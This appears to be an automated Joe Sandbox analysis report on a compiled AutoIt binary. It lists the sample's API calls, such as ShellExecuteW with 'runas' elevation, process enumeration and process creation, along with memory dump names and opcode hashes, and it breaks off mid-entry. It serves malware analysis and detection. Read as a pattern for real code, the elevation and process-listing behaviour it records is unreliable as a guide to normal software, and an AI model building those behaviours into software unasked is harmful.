Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00792224), ref: 00712C10
ShellExecuteW.SHELL32(00000000,?,?,00792224), ref: 00712C17

Strings

runas, xrefs: 00712C0B

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 66b8e0cca2a0d7915711e676a7d78409474b5d1efe70b142bc5a78f36a7b90ea
Instruction ID: d643540db0769af3fb9bac1b6c5997cb7f89ac590afa182eb39c11fd9de8d72d
Opcode Fuzzy Hash: 66b8e0cca2a0d7915711e676a7d78409474b5d1efe70b142bc5a78f36a7b90ea
Instruction Fuzzy Hash: 28112C31E083915AD755FF64D8519BE7BA69FE5744F44442FF082023A3CF68894AC71B

Function 0073D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0073D501
Process32FirstW.KERNEL32(00000000,?), ref: 0073D50F
Process32NextW.KERNEL32(00000000,?), ref: 0073D52F
CloseHandle.KERNELBASE(00000000), ref: 0073D5DC

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 43102ead6edb843ac6589a8d48497081928a2c77253a653b4f6baefeb229450a
Instruction ID: a6705e946702535b3b589dc34347f29cdf0d0865955024380f33c3964bd5147c
Opcode Fuzzy Hash: 43102ead6edb843ac6589a8d48497081928a2c77253a653b4f6baefeb229450a
Instruction Fuzzy Hash: BF31E4721083009FD315EF50D881ABFBBF8EF99344F04082DF582872A2EB719944CBA2

Function 006F4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(007028E9,?,006F4CBE,007028E9,007988B8,0000000C,006F4E15,007028E9,00000002,00000000,?,007028E9), ref: 006F4D09
TerminateProcess.KERNEL32(00000000,?,006F4CBE,007028E9,007988B8,0000000C,006F4E15,007028E9,00000002,00000000,?,007028E9), ref: 006F4D10
ExitProcess.KERNEL32 ref: 006F4D22

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1718cc2e888df65891bc45fcf5e540061adf48f7a6a3b0a8cc9986c471beacb1
Instruction ID: 53034d1fc41a8cb638c4b4dab46f84ac2bb22d4284ca608a6440f235a070d544
Opcode Fuzzy Hash: 1718cc2e888df65891bc45fcf5e540061adf48f7a6a3b0a8cc9986c471beacb1
Instruction Fuzzy Hash: A8E0B63100024CABDF12AF55DD09AAA3F6AEF86781B108018FD569A722DB79DD42CA84

Function 0075AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0075B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0075B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0075B1D4
_wcslen.LIBCMT ref: 0075B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0075B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0075B236
_wcslen.LIBCMT ref: 0075B332

Part of subcall function 007405A7: GetStdHandle.KERNEL32(000000F6), ref: 007405C6

_wcslen.LIBCMT ref: 0075B34B
_wcslen.LIBCMT ref: 0075B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0075B3B6
GetLastError.KERNEL32(00000000), ref: 0075B407
CloseHandle.KERNEL32(?), ref: 0075B439
CloseHandle.KERNEL32(00000000), ref: 0075B44A
CloseHandle.KERNEL32(00000000), ref: 0075B45C
CloseHandle.KERNEL32(00000000), ref: 0075B46E
CloseHandle.KERNEL32(?), ref: 0075B4E3

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 135d62e46a06e5f41632d2e917d517b2d1e17c7c5cc32ea6686eb142e465b042
Instruction ID: 8a069dc9506b9730d9e87a6e3fe8491c36a3174ce7ac5b834e27a111a506f05e
Opcode Fuzzy Hash: 135d62e46a06e5f41632d2e917d517b2d1e17c7c5cc32ea6686eb142e465b042
Instruction Fuzzy Hash: C7F18C31604340DFC764EF24C891B6EBBE1AF85310F14855EF8999B2A2DB75EC48CB96

Function 006DD730 Relevance: 21.6, APIs: 14, Instructions: 627sleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 006DD807
timeGetTime.WINMM ref: 006DDA07
Sleep.KERNELBASE(0000000A), ref: 006DDBB1

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 630b735519dfb040cedea247b327540f322d6456123b3166a96386cad2c6280a
Instruction ID: 5a069a0b059f65590e8d978a29e9aa72318cd83de11aca0ebc9c769064dfa5ce
Opcode Fuzzy Hash: 630b735519dfb040cedea247b327540f322d6456123b3166a96386cad2c6280a
Instruction Fuzzy Hash: EB423670A04341EFD725EF24C844BAAB7E2BF86304F14851EF8568B392D779E845CB92

Function 006D2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006D2D07
RegisterClassExW.USER32(00000030), ref: 006D2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006D2D42
InitCommonControlsEx.COMCTL32(?), ref: 006D2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006D2D6F
LoadIconW.USER32(000000A9), ref: 006D2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006D2D94

Strings

0, xrefs: 006D2CE9
TaskbarCreated, xrefs: 006D2D37
+, xrefs: 006D2CF0
AutoIt v3 GUI, xrefs: 006D2D23

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: abf4921485fad8f7decfba4dde7d85d2729b00000cda5d9487c7e036090d72f4
Instruction ID: d41e656721f8152c92dd79ceb61baa6bd4ecab2fdab06af11c530d46052495e0
Opcode Fuzzy Hash: abf4921485fad8f7decfba4dde7d85d2729b00000cda5d9487c7e036090d72f4
Instruction Fuzzy Hash: 712127B0901358AFEB01DFA4EC48BEEBBB4FB48700F00811AF552A62A0D7B91544CF99

Function 0071065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0071039A: CreateFileW.KERNELBASE(00000000,00000000,?,00710704,?,?,00000000,?,00710704,00000000,0000000C), ref: 007103B7

GetLastError.KERNEL32 ref: 0071076F
__dosmaperr.LIBCMT ref: 00710776
GetFileType.KERNELBASE(00000000), ref: 00710782
GetLastError.KERNEL32 ref: 0071078C
__dosmaperr.LIBCMT ref: 00710795
CloseHandle.KERNEL32(00000000), ref: 007107B5
CloseHandle.KERNEL32(?), ref: 007108FF
GetLastError.KERNEL32 ref: 00710931
__dosmaperr.LIBCMT ref: 00710938

Strings

H, xrefs: 007108BD

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 3d7b2947b5edf9c0b645642d35edd098d24897b8e53abf504cab54786642d6e1
Instruction ID: de18356d564fffede57596023328c43ca7459cb933514b6fe10b67b89811eae9
Opcode Fuzzy Hash: 3d7b2947b5edf9c0b645642d35edd098d24897b8e53abf504cab54786642d6e1
Instruction Fuzzy Hash: 17A14332A001088FDF19AF6CD895BEE3BA1AF46320F14415DF811AB3D1C7799992CBD5

Function 006D344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007A1418,?,006D2E7F,?,?,?,00000000), ref: 006D3A78

Part of subcall function 006D3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 006D3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 006D356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0071318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 007131CE
RegCloseKey.ADVAPI32(?), ref: 00713210
_wcslen.LIBCMT ref: 00713277
_wcslen.LIBCMT ref: 00713286

Strings

\, xrefs: 0071328C
Software\AutoIt v3\AutoIt, xrefs: 006D3560
\Include\, xrefs: 006D3527
Include, xrefs: 00713184, 007131C5

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: e6c3d33797cf4c0edbe01b5fe00a4509424ab4fc810d631ca1422238fef94466
Instruction ID: dc0eb2053d3abf49d6fd92b1ba64864e9878e76d5ca4e9013eeafbc660286080
Opcode Fuzzy Hash: e6c3d33797cf4c0edbe01b5fe00a4509424ab4fc810d631ca1422238fef94466
Instruction Fuzzy Hash: A571B6715043009FC744EF69DC418ABBBE8FF86740F40842EF545872B1EB789A49CB59

Function 006D2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006D2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 006D2B9D
LoadIconW.USER32(00000063), ref: 006D2BB3
LoadIconW.USER32(000000A4), ref: 006D2BC5
LoadIconW.USER32(000000A2), ref: 006D2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 006D2BEF
RegisterClassExW.USER32(?), ref: 006D2C40

Part of subcall function 006D2CD4: GetSysColorBrush.USER32(0000000F), ref: 006D2D07
Part of subcall function 006D2CD4: RegisterClassExW.USER32(00000030), ref: 006D2D31
Part of subcall function 006D2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006D2D42
Part of subcall function 006D2CD4: InitCommonControlsEx.COMCTL32(?), ref: 006D2D5F
Part of subcall function 006D2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006D2D6F
Part of subcall function 006D2CD4: LoadIconW.USER32(000000A9), ref: 006D2D85
Part of subcall function 006D2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006D2D94

Strings

#, xrefs: 006D2C16
0, xrefs: 006D2C0F
AutoIt v3, xrefs: 006D2C2F

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: f6d9fe7856e3c8a7354fb36c54262a62cdc0eea2523d96967e22a9d9ffcae6af
Instruction ID: 7553c93a847984972d24c8f2b4edff7a2396c84a6737d1a18b6c23467bec22d9
Opcode Fuzzy Hash: f6d9fe7856e3c8a7354fb36c54262a62cdc0eea2523d96967e22a9d9ffcae6af
Instruction Fuzzy Hash: A7213874E00328AFEF119FA5EC55AA97FF4FB89B50F40802AE505A66A0D3B90540CF98

Function 006D3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,006D316A,?,?), ref: 006D31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,006D316A,?,?), ref: 006D3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 006D3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,006D316A,?,?), ref: 006D3232
CreatePopupMenu.USER32 ref: 006D3246
PostQuitMessage.USER32(00000000), ref: 006D3267

Strings

TaskbarCreated, xrefs: 006D322D

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: a20b44d03831500be38fb712ac0917face2e0e858ff71c35f5e774b53a04bcfa
Instruction ID: 317a016b31a23cfbf3fec66c0101b0bc463eafdfe01ad8dcbd26cf9c7b3828b7
Opcode Fuzzy Hash: a20b44d03831500be38fb712ac0917face2e0e858ff71c35f5e774b53a04bcfa
Instruction Fuzzy Hash: A2414C35E00261A7EF151F789C0D7B9361BE786340F048127F542853E2C7AE9B4197AB

Function 006D1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 006D1459
CoUninitialize.COMBASE ref: 006D14F8
UnregisterHotKey.USER32(?), ref: 006D16DD
DestroyWindow.USER32(?), ref: 007124B9
FreeLibrary.KERNEL32(?), ref: 0071251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0071254B

Strings

close all, xrefs: 006D1454

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 2e960bf13203ebaa7f73adb6c029ebf91f0051346666504228bc47f3cfa70bb2
Instruction ID: c17395baa87b00ac904a9ad7e1a1b948bdfc85369b5e74a749bd6d1861ab054b
Opcode Fuzzy Hash: 2e960bf13203ebaa7f73adb6c029ebf91f0051346666504228bc47f3cfa70bb2
Instruction Fuzzy Hash: 4FD16D31B01212DFCB19EF19C495A69F7A2BF05700F1441AEE84A6B3A2DB74AD63CF54

Function 006D2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 006D2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 006D2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,006D1CAD,?), ref: 006D2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,006D1CAD,?), ref: 006D2CCF

Strings

edit, xrefs: 006D2CAC
AutoIt v3, xrefs: 006D2C89, 006D2C8E, 006D2C8F

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 8af7501be3801dd75187bb8726b3ba6a6747097ff38a971ee5dfa69d0d93c0a4
Instruction ID: 787d24c39cf6fb796c215e81ff7ac9d04635382443816d346e496bd3e0d5c981
Opcode Fuzzy Hash: 8af7501be3801dd75187bb8726b3ba6a6747097ff38a971ee5dfa69d0d93c0a4
Instruction Fuzzy Hash: A2F0DA765403A07AFB311B17AC08E773EBDD7C7F61F40805AF900A29A0C6A91850DEB8

Function 006D2DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00712C8C

Part of subcall function 006D3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006D3A97,?,?,006D2E7F,?,?,?,00000000), ref: 006D3AC2

Part of subcall function 006D2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006D2DC4

Strings

`ey, xrefs: 00712C85
X, xrefs: 00712C5A

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`ey
API String ID: 779396738-2559956516
Opcode ID: e94d857ff92967d5dc60788d4c5aeac331d5f787aa5bd4110fd4c6f216114c4d
Instruction ID: f3acd069783520a3427f4d5b7f73361928434ce1b4181c12e51c1640b2e94f7e
Opcode Fuzzy Hash: e94d857ff92967d5dc60788d4c5aeac331d5f787aa5bd4110fd4c6f216114c4d
Instruction Fuzzy Hash: 8F21D571E002989FCF41EF94D805BEE7BFDAF49304F00805AE505A7381DBB85A898FA5

Function 006D10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 006D1BF4
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 006D1BFC
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 006D1C07
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 006D1C12
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 006D1C1A
Part of subcall function 006D1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 006D1C22

Part of subcall function 006D1B4A: RegisterWindowMessageW.USER32(00000004,?,006D12C4), ref: 006D1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 006D136A
OleInitialize.OLE32 ref: 006D1388
CloseHandle.KERNEL32(00000000,00000000), ref: 007124AB

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 472f2449b54991a06a924c3b06222a9e312b0a970523f5c0e5199e84b2187fe5
Instruction ID: 9f17bce51822351b02d89f9c5d9e550283cde2b9cd763b378b77b8fce3830cc7
Opcode Fuzzy Hash: 472f2449b54991a06a924c3b06222a9e312b0a970523f5c0e5199e84b2187fe5
Instruction Fuzzy Hash: 0771ADB8D053508EE388DF79A8556653AE1BBCB394B84C22ED41ACB361EB3C4450CF4D

Function 0073C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 006D3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 006D3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0073C259
KillTimer.USER32(?,00000001,?,?), ref: 0073C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0073C270

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

